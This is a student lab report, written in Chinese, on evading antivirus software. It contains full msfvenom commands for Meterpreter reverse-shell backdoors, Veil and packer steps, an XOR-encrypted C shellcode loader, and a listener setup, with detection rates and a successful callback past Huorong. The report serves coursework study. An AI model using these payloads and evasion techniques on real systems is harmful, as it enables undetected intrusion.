20222420 2024-2025-1 《網路與系統攻防技術》實驗三實驗報告
1.實驗內容
1.1 本週學習內容
1.1.1 後門技術
接著上一節課的內容繼續學習了
- 程序隱藏技術,它還包含
- 基於 DLL 的程序隱藏技術:遠端注入Dll技術
- 基於遠端執行緒注入程式碼的程序隱藏技術
- Rootkit方式 分使用者級和核心級
- 資料穿透與躲避技術:加密、隧道、反彈埠
1.1.2 簡單後門實踐基礎
- netcat
- Meterpreter
Metasploit框架中的一個擴充套件模組,本質為Payload集 - Veil Evasion
為免殺工具
1.1.3 免殺
- 防毒軟體原理
- 特徵碼、啟發式、基於行為
- 校驗和
- 機器學習
- 免殺技術
- 修改特徵碼 最初的方法
- 修改校驗和
- 花指令免殺 阻止反彙編程式。若防毒軟體不能識別,則其不能正確定位特徵碼
- 加殼免殺 系統先執行“殼”,由殼將加密或壓縮的程式逐步還原到記憶體中,最後執行
加殼免殺還含虛擬機器保護技術,將原本的彙編指令轉換為另一種表現形式,以使不被輕易逆向、修改 - 記憶體免殺
加殼免殺用於掃描檔案時。防毒軟體在檔案掃描和記憶體掃描的特徵碼不同,在記憶體中繼續使用之前的免殺技術
1.2 實驗任務
- 正確使用msf編碼器,veil-evasion,利用shellcode程式設計等免殺工具或技巧
- 使用msf編碼器,透過msfvenom生成如jar之類的其他檔案
- veil-evasion,加殼工具
- 使用C + shellcode程式設計
- 透過組合應用各種技術實現惡意程式碼免殺
如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。 - 用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
2.問題回答
- 殺軟是如何檢測出惡意程式碼的?
特徵碼、校驗和、機器學習等 - 免殺是做什麼?
避免後門等被防毒軟體查殺 - 免殺的基本方法有哪些?
修改特徵碼、修改校驗和,加殼等
3.實驗過程
3.1 正確使用msf編碼器,veil-evasion,利用shellcode程式設計等免殺工具或技巧
3.1.1 使用msf編碼器,透過msfvenom生成如jar之類的其他檔案
- 使用VirusTotal、Virscan來檢測不編碼生成的.exe後門程式
生成該程式的命令為msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor.exe
VirusTotal檢出率為62/73,Virscan檢出率為25/48
- 使用編碼器x86/shikata_ga_nai進行一次編碼後生成.exe後門程式
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor1.exe
VirusTotal檢出率為61/73,Virscan檢出率為26/48。相比不編碼,VirusTotal檢出率微量下降,Virscan檢出率微量上升
- 使用編碼器x86/shikata_ga_nai進行多次次編碼後生成.exe後門程式(迭代60次以上將無法構造有效的編碼排列)
- 10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor10.exe
VirusTotal檢出率為62/73,Virscan檢出率為26/48,相比1次編碼,VirusTotal檢出率微量上升
- 60次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor60.exe
VirusTotal檢出率為61/73,Virscan檢出率為25/48,相比10次,檢出率微量下降
- 10次
- 使用編碼器生成其他格式的後門程式(.py、.jar、.raw)
-
生成.py格式的檔案
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.191 LPORT=2420 -f py> 20222420_encoder.py
VirusTotal檢出率為,Virscan檢出率為
-
生成.jar格式的檔案,無法使用編碼
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.150.191 LPORT=2420 -f jar> 20222420_encoder.jar
VirusTotal檢出率為34/66,Virscan檢出率為13/48
-
生成.raw格式的檔案
msfvenom -p android/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.191 LPORT=2420 -f raw> 20222420_encoder.raw
VirusTotal檢出率為,Virscan檢出率為
-
綜上,得到如下列表
可知,
(1)編碼對檢出.exe檔案基本沒影響,且.exe格式的檢出率在所有測試格式中最高
(2)檢出率次高的是.jar格式
(3).php、.apk、.elf編碼次數均為10,檢出率基本在同一個檔次(在所有測試格式檢出率最低)
| 格式 | 編碼次數 | VirusTotal檢出率 | Virscan檢出率 |
| :---: | :---: | :----: | :----: |
| .exe | 0 | 62/73 | 25/48 |
| .exe | 1 | 61/73 | 26/48 |
| .exe | 10 | 62/73 | 26/48 |
| .exe | 60 | 61/73 | 25/48 |
| .php | 10 | 9/63 | 2/48 |
| .jar | 0 | 34/66 | 13/48 |
| .apk | 10 | 10/63 | 3/48 |
| .elf | 10 | 11/62 | 4/48 |
3.1.2 veil-evasion,加殼工具
- (1)配置veil是一件比較困難的事情,我參考了github上關於veil的readme和issues,並根據報錯資訊檢視了配置檔案/usr/share/veil/config/setup.sh才弄懂了問題的所在,然後才經過一些改動成功地配置了veil。配置veil的過程如下,具體為什麼進行改動將在“問題及解決方案”部分詳細解釋。
- 按照readme中的說法,要麼用apt下載,要麼用git下載。因用git下載仍有報錯且apt下載命令僅兩行,所以我選擇用apt下載
同時,readme中要求要麼用sudo,要麼用root使用者,所以我決定兩個都用,先用sudo su切換到root使用者,然後輸入第一行命令
sudo apt -y install veil
- 這時需要進行第一個改動:用vim開啟/usr/share/veil/config/setup.sh,將587行處的內容改為
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
- 然後進行第二個改動,在桌面(或其他自己熟悉的目錄)開啟一個終端,執行
sudo git clone https://github.com/Veil-Framework/VeilDependencies.git
,即從git上克隆一個veil的依賴庫
再用vim開啟/usr/share/veil/config/setup.sh,輸入/Veil-Fr,找到sudo git clone https://github.com/Veil-Framework/VeilDependencies.git "${dependenciesdir}"
的位置,將其改為cp -r /home/s20222420/Desktop/VeilDependencies "${dependenciesdir}"
,退出並儲存
- 這時所有需要的改動完成,可以使用第二行命令,等待其完成便配置好veil了。經過檢視,過程中沒有任何error或warning
/usr/share/veil/config/setup.sh --force --silent
- 按照readme中的說法,要麼用apt下載,要麼用git下載。因用git下載仍有報錯且apt下載命令僅兩行,所以我選擇用apt下載
- (2)開始使用veil
- 開啟veil
- 選擇工具,選用Evasion
- 輸入list,檢視可用的payloads
- 選擇第7個payload,即
c/meterpreter/rev_tcp.py
use 7
透過其上的描述或下面github裡的描述,可知是用於攻擊windows的反彈連線
- 接下來,設定LHOST和LPORT,然後generate
- 開啟veil
- (3)檢測veil的效果
VirusTotal檢出率為43/73,Virscan檢出率為17/48。相比實驗第一次檢測中的62/73,25/48,可知有一定的免殺效果。
3.1.3 使用C + shellcode程式設計
- 用msfvenom工具來生成一個C語言的原始碼格式的有效載荷
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.192 LPORT=2420 -f c
- 用生成的shellcode編寫.c檔案。強制轉化shellcode為函式指標型別,並讓一個變數接收,執行這個變數便執行了該shellcode
- 利用指令
i686-w64-mingw32-g++
進行編譯,得到exe檔案。這個編譯器專門用於生成 32 位 Windows 應用程式
i686-w64-mingw32-g++ 20222420_c_shellcode.c -o 20222420_c_shellcode.exe
- 測試
VirusTotal檢出率為35/60,Virscan檢出率為15/48。相比veil,檢出率又均有一定下降
3.1.4 使用加殼工具
- (1)使用壓縮殼UPX
- 使用指令upx 20222420_c_shellcode.exe -o 20222420_c_upx_shellcode.exe,給上一個步驟生成的20222420_c_shellcode.exe加一個壓縮殼。
- 測試
VirusTotal檢出率為46/72,Virscan檢出率為11/48。相比原本的檔案,VirusTotal檢出率上升,Virscan檢出率下降。說明VirusTotal比Virscan對UPX記錄得更多。
- 使用指令upx 20222420_c_shellcode.exe -o 20222420_c_upx_shellcode.exe,給上一個步驟生成的20222420_c_shellcode.exe加一個壓縮殼。
- (2)使用加密殼Hyperion
- 使用指令如下
wine /usr/share/windows-resources/hyperion/hyperion.exe -v /home/s20222420/Desktop/20222420_c_shellcode.exe /home/s20222420/Desktop/20222420_c_hyp_shellcode.exe
注意需要在root下執行
- 測試
VirusTotal檢出率為54/73,Virscan檢出率為21/48。相比原本的檔案,檢出率均上升,且均高於使用UPX。說明加密殼Hyperion被記錄得更加廣泛。
- 使用指令如下
3.2 透過組合應用各種技術實現惡意程式碼免殺(描述原理,僅要與殺軟共生截圖)
- 發現:同一份C語言程式,在linux下編譯和在windows下編譯,在VirusTotal中的差距極大
- Linux下用i686-w64-mingw32-g++交叉編譯,檢出率為23/70
- windows下codeblocks中編譯,檢出率為4/72。
- 大量試驗中我的思考過程
- Thread1:Linux下加殼後檢出率反而提升,於是我決定不加殼
- Thread2:veil生成的後門效果雖然比msf編碼的效果好但檢出率仍不低,且還不能改動,於是我將使用"編碼+c+shellcode"
- Thread3:使用"編碼+c+shellcode",檢出率仍較高,為進一步降低檢出率,於是考慮將shellcode加密
- Thread4:單純使用異或0x01變動shellcode且main函式不將其解密,以及異或一個金鑰變動shellcode且main函式中將其解密,這種兩種方式的檢出率均較低,如後者在linux編譯後檢出率為28/72,在windows編譯後檢出率為11/72
- 具體實現過程
- 使用msf編碼器生成編碼十次後的shellcode並輸出到新建檔案20222420_shellcode.txt
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.192 LPORT=2420 -f c > 20222420_shellcode.txt
- 編寫、編譯、執行加密程式20222420_enc,將20222420_shellcode.txt中的shellcode用0x05加密各個位元組
- 將加密後的shellcode放在新建檔案20222420_shellcode2.c中
- 在20222420_shellcode2.c中加入main函式,用於將加密後的shellcode解密並執行
- 使用msf編碼器生成編碼十次後的shellcode並輸出到新建檔案20222420_shellcode.txt
點選檢視程式碼
int main(){
int i;
for(i=0;i<sizeof(buf);i++)
{
buf[i] ^= 0x05;
}
int (*func)() = (int(*)())buf;
func();
}
-
上述20222420_shellcode2.c只是一個臨時檔案,現在將檔案中編寫好的程式碼複製在windows環境下編譯,資料夾名為20222420_shellcode2
- 殺軟掃描
使用火絨安全軟體,版本為6.0.3.0
20222420_shellcode2.exe並未被查出,僅查出20222420_shellcode10.exe
- 殺軟掃描
-
額外的想法
參考音訊的cda格式,只存地址,將shellcode打散儲存,用一個陣列儲存指向各個shellcode分片的地址,然後在需要執行shellcode時一片片找,可找一片執行一片,也可找完後按陣列順序一片片執行。
也許可以將main函式改為如下,但shellcode也許不能一個位元組一個位元組地執行,可以改分為能執行的塊。
int main()
{ //由於若要將buf隨機儲存,編寫程式碼時間較長,我這裡僅將其分為兩個部分
unsigned char buf1[sizeof(buf)] ; //儲存buf的偶數部分
unsigned char buf2[sizeof(buf)] ; //儲存buf的奇數部分
int i=0;
for(i=0;i<sizeof(buf);i++)
{
if(i%2==0) buf1[i/2]=(unsigned char)(buf[i]^0x05); //儲存buf的偶數部分並解密,這樣無論內容是否被加密,單獨看buf1就是無毒的
else buf2[(i-1)/2]=(unsigned char)(buf[i]^0x05); //儲存buf的奇數部分並解密,這樣無論內容是否被加密,單獨看buf2就是無毒的
}
int (*func[sizeof(buf)])(); //func為指向函式指標的指標,即函式指標陣列
for(i=0;i<sizeof(buf);i++) //找到每一個buf分片
{
if(i%2==0)
{
func[i] = (int(*)())&buf1[i/2]; //若要改進,其實也可以在這裡解密並執行,且可以執行一片清空一片
}
else func[i] = (int(*)())&buf2[(i-1)/2];
}
for(i=0;i<sizeof(buf);i++) //相當於將每一個位元組當作一個函式指標指向的空間,要執行這個位元組就只能順序執行每一個指標,而func就是一個順序儲存各個指標的陣列的指標。這樣避免了僅一個函式指標就暴露整個shellcode
func[i]();
}
3.3 用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
在kali中輸入
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.150.192
set LPORT 2420
exploit
使用火絨安全軟體,版本為6.0.3.0
在殺軟開啟的情況下,在windows主機上執行生成的程式,可以看到成功回連成功。
4.問題及解決方案
- 問題1:安裝配置veil時報錯
- 問題1解決方案:1.根據報錯資訊知道是Python pip pefile報錯,在github上查詢相關問題,發現pefile不支援相關python,在setup.sh中改變pefile的版本為2019.4.18便可解決這個問題。2.解決了Python pip pefile的問題,我又遇到了報錯,透過報錯資訊知道是克隆時無法連線到github,這是網路的問題,但我單獨在終端中執行setup.sh中相關的克隆命令時並沒有出錯。於是我將其克隆在桌面,然後將setup.sh中的克隆命令改為cp命令,將克隆到桌面的資料夾複製到原需克隆至的目錄。然後我便成功安裝配置了veil。
- 問題2:使用加密殼時出錯
- 問題2解決方案:可能是許可權不夠,轉換在root使用者下執行便成功了。
- 問題3:msfvenom生成exe檔案後無法在windows下執行並連線
- 問題3解決方案:經過試驗排除了payload不是x64的問題,發現需要-f exe引數才能使其可執行並連線。不用-f exe而用x或什麼都不加,是都不能執行並連線的。
5.學習感悟、思考等
在本次實驗中,透過使用msf編碼器、veil-evasion、加殼工具以及C + shellcode程式設計等多種技術和工具,我學習瞭如何在保持惡意程式碼功能性的同時,儘可能地避免被防毒軟體檢測和攔截。
在實驗過程中,我遇到了不少問題,比如veil的安裝配置錯誤、加密殼的使用許可權問題以及msfvenom生成檔案無法執行的問題。這些問題一度讓我感到困惑和沮喪,但透過不斷查閱文件、搜尋解決方案和反覆試驗,我最終成功地克服了這些障礙。這些經歷不僅提升了我的問題解決能力,也讓我更加深刻地體會到了實踐的重要性。
經過本次實驗,我深刻體會到,在網路安全領域,惡意程式碼的隱藏和檢測是一個相互博弈的過程。一方面,攻擊者會不斷嘗試使用新的技術手段來躲過安全檢測,另一方面,安全廠商也會不斷更新和升級他們的檢測演算法來應對這些威脅。
參考資料
- github-Veil-readme
- The error of python pip pefile
- linux系統修改ip地址教程